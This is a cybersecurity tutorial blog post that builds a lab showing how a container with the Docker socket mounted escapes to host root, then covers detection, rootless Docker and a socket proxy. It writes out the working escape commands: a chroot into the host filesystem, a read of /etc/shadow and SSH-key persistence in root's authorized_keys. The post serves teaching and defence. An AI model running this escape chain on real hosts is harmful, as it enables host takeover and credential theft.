Build a Docker Socket Escape Lab: Why Mounting /var/run/docker.sock Is a Root Kill Chain

Build a Docker Socket Escape Lab: Why Mounting /var/run/docker.sock Is a Root Kill Chain

📋 Key Takeaways
  • The Docker daemon (dockerd) listens on a Unix domain socket at /var/run/docker.sock.
  • This is a pattern you'll find in thousands of CI configs and Stack Overflow answers, usually to let a container "manage sibling containers"
  • Inside the container, first confirm socket access
  • Inside the chrooted sibling, verify you're effectively on the host
10 min read · 1,824 words
Educational & Ethical Use Only — This article is provided for educational and ethical cybersecurity research purposes only. The techniques described should only be used on systems you own or have explicit permission to test. Always follow responsible disclosure and the laws applicable to you. Mitigations are included so engineers can harden real systems.
Security· 10 min read

Any container with /var/run/docker.sock mounted effectively runs as host root. The Docker daemon executes every API request with host-level privileges, and the socket is the API. Hand a container that socket and you’ve handed it a root shell on the host—indirectly. This post proves it with a complete, reproducible lab, then shows you how to shut the door.

If you’ve read our coverage of agentic AI attack chains, you know the pattern: a component designed for convenience becomes the privilege boundary nobody audited. The Docker socket is the infrastructure-world version of that same failure.

Lab Setup and Prerequisites

You need:

  • A disposable VM or cloud host (Ubuntu 22.04/24.04, Debian 12, or similar) with at least 2 GB RAM
  • Docker Engine installed (24.x or later; curl -fsSL https://get.docker.com | sh works fine)
  • A non-production host you can burn afterward. Seriously.

Warning: never run this lab on a production system, your workstation running sensitive workloads, or any host with data you care about. This lab deliberately creates a host-compromise scenario. CISA’s guidance on securing containers (AA23-131A) exists precisely because these misconfigurations are actively exploited in the wild.

How the Docker Socket Works (and Why It’s Powerful)

The Docker daemon (dockerd) listens on a Unix domain socket at /var/run/docker.sock. Every docker CLI command—docker run, docker exec, docker build—is just an HTTP REST call to the Docker Engine API over that socket.

Three facts turn this into a kill chain:

  1. The daemon runs as root (or as a user with root-equivalent capabilities, even in rootless mode).
  2. The socket has no authentication layer. Unix file permissions are the only gate: if your process can read/write the socket, the daemon trusts you completely.
  3. The daemon can create containers with arbitrary privileges—including host filesystem binds, host network mode, and --privileged.

So the question “is the socket dangerous?” reduces to “can I create a container that mounts /?” Anyone with socket access can. That’s the entire exploit.

Building the Vulnerable Lab: Mounting /var/run/docker.sock

This is a pattern you’ll find in thousands of CI configs and Stack Overflow answers, usually to let a container “manage sibling containers”:

docker run -d --name vulnerable 
  -v /var/run/docker.sock:/var/run/docker.sock 
  lab/escape-target:latest

The Dockerfile for the lab container:

FROM alpine:3.20
RUN apk add --no-cache docker-cli curl openssh-client
# Drop the attacker into a shell
CMD ["sleep", "infinity"]
docker build -t lab/escape-target:latest .
docker run -d --name vulnerable 
  -v /var/run/docker.sock:/var/run/docker.sock 
  lab/escape-target:latest
docker exec -it vulnerable sh

You’re now inside a container with a mounted socket. The container itself has no --privileged flag, no host mounts, no host network. It looks harmless. It isn’t.

The Escape: From Container to Host Root in Five Commands

Inside the container, first confirm socket access:

/ # ls -l /var/run/docker.sock
srw-rw---- 1 root root 0 Jun 12 09:14 /var/run/docker.sock
/ # docker -H unix:///var/run/docker.sock version --format '{{.Server.Version}}'
27.0.3

The container can talk to the host daemon. Now spawn a sibling container that mounts the host root filesystem:

/ # docker run --rm -v /:/host -it alpine:3.20 chroot /host sh
/ # 

That’s it. No exploit code, no kernel bug, no CVE. The -v /:/host bind is interpreted by the host daemon, which happily mounts the host’s filesystem into the new container. chroot /host drops you into the host’s filesystem namespace. Five commands, total.

Verifying the Kill Chain: Proof of Host Compromise

Inside the chrooted sibling, verify you’re effectively on the host:

/ # id
uid=0(root) gid=0(root) groups=0(root)
/ # hostname
docker-lab-vm
/ # head -3 /etc/shadow
root:$y$j9T$...hashed...:19800:0:99999:7:::
daemon:*:19800:0:99999:7:::

hostname returns the host’s name—not the sibling container’s—because you’re reading the host’s /etc. You’re reading /etc/shadow, which no container should ever touch. Persistence is one command away:

/ # mkdir -p /root/.ssh
/ # echo "ssh-ed25519 AAAA... attacker@lab" >> /root/.ssh/authorized_keys

The attacker now has persistent SSH access to the host. The “isolated” container was never isolated—its socket was.

Why This Matters: Real-World Attack Surface

This isn’t a lab curiosity. The pattern shows up everywhere:

  • CI/CD runners. Jenkins, GitLab Runner (shell/docker executors), and self-hosted GitHub Actions runners routinely mount the socket to build images. A compromised build step—say, a malicious dependency executing during npm install—owns the runner host.
  • Docker-in-Docker misuse. Mounting the socket is not DinD; it’s “Docker-out-of-Docker,” and it grants sibling access, not isolation.
  • Exposed daemon APIs. dockerd -H tcp://0.0.0.0:2375 with no TLS is functionally identical to exposing the socket to the internet. Shodan has indexed exposed Docker APIs for years, and cryptominer botnets (TeamTNS, Kinsing campaigns) have automated the compromise: query the API, spawn a privileged container, mine, pivot.
  • Containers that “just need” socket access. Portainer, Watchtower, Traefik’s early Docker providers—the convenience default is the socket, and every one of them becomes a root-equivalent service.

OWASP’s Docker Security Cheat Sheet (cheatsheetseries.owasp.org) calls this out explicitly: do not mount the socket unless absolutely necessary, and never expose the daemon over unauthenticated TCP.

Detecting the Abuse: Blue-Team Signals

The escape leaves clear forensic fingerprints:

  • Docker daemon audit logs. Every API call is logged via systemd journal or the daemon’s log driver. Watch for POST /containers/create requests originating from containers, especially with Binds:["/:/host"] or Privileged:true in the request body.
  • Falco rules. Falco (falco.org) ships out-of-the-box rules for exactly this: “Container spawned with host mount,” “Docker socket access from container,” and privileged sibling creation. An eBPF sensor catches the connect() to the socket from a container process.
  • Host-level anomalies. Unexpected new containers appearing on the host, containers with / bound, sudden SSH keys in /root/.ssh, or chroot syscalls traced from short-lived containers.
  • Auditd on the socket inode. Rules watching for connect to /var/run/docker.sock from processes whose container ID isn’t the daemon itself.

Hardening Option 1: Rootless Docker

Rootless mode (docs.docker.com/engine/security/rootless) runs the entire daemon under an unprivileged user using user namespaces. The daemon’s “root” is a mapped UID—the host kernel sees it as, say, UID 1001310800.

curl -fsSL https://get.docker.com/rootless | sh
systemctl --user enable --now docker
export DOCKER_HOST=unix:///run/user/1000/docker.sock

Rerun the escape attempt. The sibling container mounts the daemon user’s namespace view, not the real host root. Reading /etc/shadow fails; the bind either maps to subuid-owned files or is rejected outright. The kill chain breaks at the mount step.

Remaining risk: the escape still compromises the daemon user’s home directory, its volumes, and any resources owned by its subuid range. Rootless shrinks the blast radius from “host root” to “unprivileged user”—a massive improvement, not an immunity.

Hardening Option 2: Docker Socket Proxy

When a container legitimately needs to query Docker (service discovery, health checks) but shouldn’t create containers, put an authorization layer in front of the API. Tecnativa’s docker-socket-proxy (github.com/Tecnativa/docker-socket-proxy) is a HAProxy-based filter that whitelists endpoints:

docker run -d --name socket-proxy 
  -v /var/run/docker.sock:/var/run/docker.sock:ro 
  -e CONTAINERS=1 -e IMAGES=1 
  -e POST=0 --network internal 
  tecnativa/docker-socket-proxy:latest

Point your containers at this proxy instead of the socket. GET /containers/json works; POST /containers/create returns 403 Forbidden. Test it:

$ curl -s http://socket-proxy:2375/containers/json | jq '.[0].Names'
["/vulnerable"]
$ curl -s -X POST http://socket-proxy:2375/containers/create 
    -H 'Content-Type: application/json' 
    -d '{"Image":"alpine"}'
HTTP/1.0 403 Forbidden

The same principle applies to any powerful API surface—whether it’s a container runtime or an AI agent’s tool interface: filter capabilities, don’t trust the client.

Hardening Checklist and Recommendations

  • Never mount /var/run/docker.sock unless unavoidable. If a tool demands it, ask whether a rootless alternative or API-scoped access exists.
  • Proxy, don’t expose. Least-privilege socket proxy with POST=0 for read-only consumers.
  • Rootless Docker for multi-tenant or untrusted workloads.
  • Keep seccomp profiles and AppArmor/SELinux enabled—they’re not a substitute for socket hygiene but add defense in depth.
  • Never run the daemon on unauthenticated TCP. If remote API access is required, use TLS mutual auth and network controls.
  • Monitor socket access with Falco or auditd; alert on container-created containers.
  • Segment CI runners. Ephemeral, single-use, isolated VM runners for untrusted builds.

Complete Lab Files and Reproduction Steps

Dockerfile (lab/Dockerfile):

FROM alpine:3.20
RUN apk add --no-cache docker-cli curl
CMD ["sleep", "infinity"]

docker-compose.yml:

services:
  vulnerable:
    build: ./lab
    container_name: vulnerable
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
  socket-proxy:
    image: tecnativa/docker-socket-proxy:latest
    environment:
      - CONTAINERS=1
      - IMAGES=1
      - POST=0
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock:ro
    networks: [internal]
networks:
  internal:
    internal: true

Full command sequence:

docker compose up -d --build
docker exec -it vulnerable sh
  # docker -H unix:///var/run/docker.sock run --rm -v /:/host -it alpine chroot /host sh
  # id && hostname && head -3 /etc/shadow
# Verify proxy blocks writes:
docker compose exec socket-proxy curl -s -X POST localhost:2375/containers/create

Rebuild, verify, then destroy the VM. The lesson sticks better when you’ve watched the kill chain execute end to end—and the hardening, when you’ve watched it fail.

Frequently Asked Questions

Is mounting /var/run/docker.sock always dangerous?

Yes. Anyone with socket access effectively holds host root, because the daemon executes API calls with host-level privileges—including creating privileged sibling containers that bind the host filesystem. There’s no safe subset of socket access; convenience and compromise differ by one docker run command.

Is Docker-in-Docker (DinD) a safe alternative?

Only when the outer container is properly isolated—dedicated, ephemeral CI runner VMs running true DinD with a nested daemon. Mounting the host socket into a container is not DinD at all; it’s shared-daemon access with zero isolation. Nesting with a mounted socket gives you the illusion of a sandbox and the reality of host root.

Does rootless Docker fully eliminate the risk?

No. It contains the daemon under an unprivileged user with user namespaces, which breaks the host-root escape. But an attacker who escapes still controls that user’s home directory, volumes, and subuid resources—and some namespace and kernel attack surface remains. Treat rootless as blast-radius reduction, not elimination.

What does a Docker socket proxy actually restrict?

It filters Docker API endpoints: read-only queries like GET /containers/json pass through, while mutating calls like POST /containers/create are denied with 403. Containers can observe Docker state without being able to spawn privileged containers or manipulate the host.

Can an exposed Docker API on TCP port 2375 be exploited the same way?

Yes—and faster. Unauthenticated TCP daemon access is functionally identical to socket access, minus the local file-permission gate. Exposed 2375/2376 endpoints are routinely scanned, indexed, and compromised by automated botnets within hours of appearing online. If the daemon must listen on TCP, require mutual TLS and lock it behind network controls.

Hmmnm
Published by Hmmnm

Hands-on cybersecurity tutorials, CVE breakdowns, and guided learning paths — written and lab-tested by the Hmmnm team.

🛡️ Hmmnm also delivers this expertise as a service — security testing, assessment & training.
Keep going — the structured way
This post is one step. The learning paths chain the next ones for you, with progress tracking and no account needed.
Follow a learning path →

Prabhu Kalyan Samal

Application Security Consultant at TCS. Certifications: CompTIA SecurityX, Burp Suite Certified Practitioner, Azure Security Engineer, Azure AI Engineer, Certified Red Team Operator, eWPTX v3, LPT, CompTIA PenTest+, Professional Cloud Security Engineer, SC-900, SC-200, PSPO I, CEH, Oracle Java SE 8, ISP, Six Sigma Green Belt, DELF, AutoCAD. Writing about ethical hacking, security tutorials, and tech education at Hmmnm.